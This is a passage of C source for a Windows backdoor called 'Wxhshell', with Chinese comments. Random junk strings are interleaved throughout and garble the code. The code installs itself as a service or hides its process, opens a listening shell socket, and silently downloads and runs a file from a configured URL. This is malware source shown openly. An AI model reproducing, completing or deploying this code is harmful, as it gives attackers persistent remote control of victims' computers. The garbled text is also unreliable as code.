8 if(!hProcess) return 0; }d&_q7L@@6 VE#Wb7 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c(J!~7 1cxrH+N CloseHandle(hProcess); lAi6sPG)0 j:<n+:HC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *Y,x|F if(hProcess==NULL) return 0; U(a#@K!H .+qQYDEw HMODULE hMod; Fa?~0H/DL char procName[255]; RwKdxK+; unsigned long cbNeeded; Mc=$/ o mN~ci 0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3)8QS
t,,k
CloseHandle(hProcess); 6tX q: Ci?Ss+| if(strstr(procName,"services")) return 1; // 以服务启动 t|a2;aq_ 8u"!dq return 0; // 注册表启动 Vc_'hz]Z } T~--92[ R(('/J C // 主模块 Qi^Z11 int StartWxhshell(LPSTR lpCmdLine) <L`KzaA { `2' #!- SOCKET wsl; SFO({w( BOOL val=TRUE; D'7SAFOM int port=0; E7NV ^4h struct sockaddr_in door; }0eF~>Df y6LWx: if(wscfg.ws_autoins) Install(); lH-/L(h2 Z9:-rcr port=atoi(lpCmdLine); M|6A0m#Q [.m`+ if(port<=0) port=wscfg.ws_port; Yb+yw_5 \wo?47+= WSADATA data;
>[MX:Yh if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `)`
n(B 0C1pt5K if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o4j[p3$ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EwuO&q
door.sin_family = AF_INET; >XK
PTC5H door.sin_addr.s_addr = inet_addr("127.0.0.1"); @*OZx 9 door.sin_port = htons(port); @<&5J7fb j2ve^F:Q if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (mgS"zPS closesocket(wsl); |y&*MTfV4L return 1; Z8zmHc"IH } ]or>?{4g cJN7bA{ if(listen(wsl,2) == INVALID_SOCKET) { XaCX!Lr, closesocket(wsl); PRr2F-!P return 1; ]gmexa=(i } xgbJ2Mh Wxhshell(wsl); ^=T$&gD WSACleanup(); g,}_G3[j0m ^oVs+ vC return 0; |s"nM<ZNZ Nd`%5%':: } !;0U,!WI 9
TvV= // 以NT服务方式启动 -}=i 04^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D&/kCi= R { k,'L}SK DWORD status = 0; 87Oad@FOr DWORD specificError = 0xfffffff; m6TNBX Du`JaJI serviceStatus.dwServiceType = SERVICE_WIN32; .uuO>: serviceStatus.dwCurrentState = SERVICE_START_PENDING; r
YogW! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &0='r;*i serviceStatus.dwWin32ExitCode = 0; 3|WWo1 serviceStatus.dwServiceSpecificExitCode = 0; !u_Y7i3^ serviceStatus.dwCheckPoint = 0; }lh I\q serviceStatus.dwWaitHint = 0; &S( .GdEf TatpXN\ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >SML"+> if (hServiceStatusHandle==0) return; TcIcS]w% =4[v3Qx status = GetLastError(); \n{qsf: if (status!=NO_ERROR) {. 2k6_1[ { <Fi%iA serviceStatus.dwCurrentState = SERVICE_STOPPED; @W vatD
V serviceStatus.dwCheckPoint = 0; >=RmGS serviceStatus.dwWaitHint = 0; gg[WlRQK4A serviceStatus.dwWin32ExitCode = status; p<zSJLN serviceStatus.dwServiceSpecificExitCode = specificError; p;._HJ( SetServiceStatus(hServiceStatusHandle, &serviceStatus); :z4)5=
6M return; q<\, } 3AQZRul $]{k+Jf serviceStatus.dwCurrentState = SERVICE_RUNNING; iMI lZ serviceStatus.dwCheckPoint = 0; ]vgB4~4#LP serviceStatus.dwWaitHint = 0; ;ado0-VQi' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T^ w36}a } Fz1_w$^
f#?fxUH~ // 处理NT服务事件,比如:启动、停止 h!&prYx VOID WINAPI NTServiceHandler(DWORD fdwControl) {U!8|( { .z
6fv switch(fdwControl) GqWB{$J;" { 2W/?q!t case SERVICE_CONTROL_STOP: T?
tG~ serviceStatus.dwWin32ExitCode = 0; ])L
A42| serviceStatus.dwCurrentState = SERVICE_STOPPED; CZ(/=3,3n serviceStatus.dwCheckPoint = 0; |p><'Q%* serviceStatus.dwWaitHint = 0; dik:4; { 4"{ooy^Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2ggdWg7z } 0o+6Q8q return; y9_K, g case SERVICE_CONTROL_PAUSE: V\u>"3BQw serviceStatus.dwCurrentState = SERVICE_PAUSED; MO&}r7qq break; h v8P4"i v case SERVICE_CONTROL_CONTINUE: VG,u7A*Z# serviceStatus.dwCurrentState = SERVICE_RUNNING; zoOaVV&1 break; > ?6&c case SERVICE_CONTROL_INTERROGATE: !OBEM1~
1 break; q0$
!y!~ }; (>VX-Y/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); u#Z#)3P } 0Uz\H0T1 UG2nX3? // 标准应用程序主函数 p /#$io int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rniq(FAx { NbC@z9Q #Yr9AVr}K // 获取操作系统版本 c:-!'l$ ! OsIsNt=GetOsVer(); Z2TL #@ GetModuleFileName(NULL,ExeFile,MAX_PATH); kB'Fkqwm Eve.QAl| // 从命令行安装 mMb'@ if(strpbrk(lpCmdLine,"iI")) Install(); UG)8D5 QS{1CC9$ // 下载执行文件 W0epAGrB if(wscfg.ws_downexe) { 3~}uqaGt if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3jlh}t>$l WinExec(wscfg.ws_filenam,SW_HIDE); zY|t0H } `0P$#5? #;%JT if(!OsIsNt) { kMtwiB|7j // 如果时win9x,隐藏进程并且设置为注册表启动 x9;gT&@H HideProc(); EGZb7:Y? StartWxhshell(lpCmdLine); O9EKRt } I9:Cb)hbU] else l~6?kFy9h if(StartFromService()) o'W5|Gy // 以服务方式启动 QAvir%Y9Q StartServiceCtrlDispatcher(DispatchTable); ]@uE#a:[ else 1E73i_L // 普通方式启动 9[m6Li StartWxhshell(lpCmdLine); mf}O-Igte t?9v^vFR return 0; Q\cjPc0y }
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